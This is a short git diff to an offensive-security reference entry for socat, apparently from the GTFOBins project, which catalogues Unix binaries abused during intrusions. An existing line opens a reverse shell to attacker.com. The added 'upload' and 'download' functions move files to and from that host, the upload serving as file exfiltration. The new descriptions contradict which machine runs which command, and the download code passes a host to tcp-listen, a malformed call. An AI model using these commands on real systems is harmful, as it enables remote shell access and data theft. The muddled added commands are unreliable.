diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index f7185b3..9e114ff 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -23,4 +23,16 @@ functions: RHOST=attacker.com RPORT=12345 ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane + upload: + - description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box. + code: | + RHOST=attacker.com + RPORT=12345 + ./socat tcp-connect:$RHOST:$RPORT file:path + download: + - description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box. + code: | + RHOST=attacker.com + RPORT=12345 + ./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat ---